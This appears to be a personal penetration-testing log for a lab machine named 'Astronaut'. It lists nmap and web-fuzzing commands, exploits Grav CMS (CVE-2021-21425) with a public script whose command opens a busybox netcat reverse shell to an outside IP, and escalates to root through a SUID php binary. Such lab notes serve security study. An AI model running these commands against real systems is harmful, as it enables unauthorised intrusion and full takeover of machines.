🧪 Pentest Log: {{date:2025-08-11}}

🔍 Target Information

• Machine Name: Astronaut
• IP Address: 192.168.187.12
• Operating System: Linux

ip=192.168.187.12

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Directory Scan

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

feroxbuster --url http://$ip

wpscan --url http://$ip

dirsearch -u http://$ip -r -o dirsearch.txt

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://$ip$/ -H "Host: FUZZ.website.com"

nikto -h http://$ip


curl -s http://$ip/ | html2markdown

Google "grav cms unauthenticated exploit', found

CVE-2021-21425

💣 Exploitation

📌 Vulnerability Summary

• Service / Port: 80
• Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

• Manual
• Public Exploit
• Custom Script

Tool / Script Used:

https://github.com/CsEnox/CVE-2021-21425

python3 exploit.py -c "busybox nc 192.168.45.163 80 -e /bin/bash" -t http://192.168.187.12/grav-admin

python3 /home/kali/Documents/oscp/penelope/penelope.py -p 80

🧬 Privilege Escalation

👤 Current Access

• User: www-data
• Groups: www-data
• Shell Type: reverse shell

🔍 Enumeration

SUID:

find / -type f -perm -4000 2>/dev/null

found

/usr/bin/php7.4

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: SUID Abuse
• Target Binary/Service: php7.4
• Reference / Source: GTFOBins

🔧 Exploit Steps

• Smash to root

CMD="/bin/sh"
./php -r "pcntl_exec('/bin/sh', ['-p']);"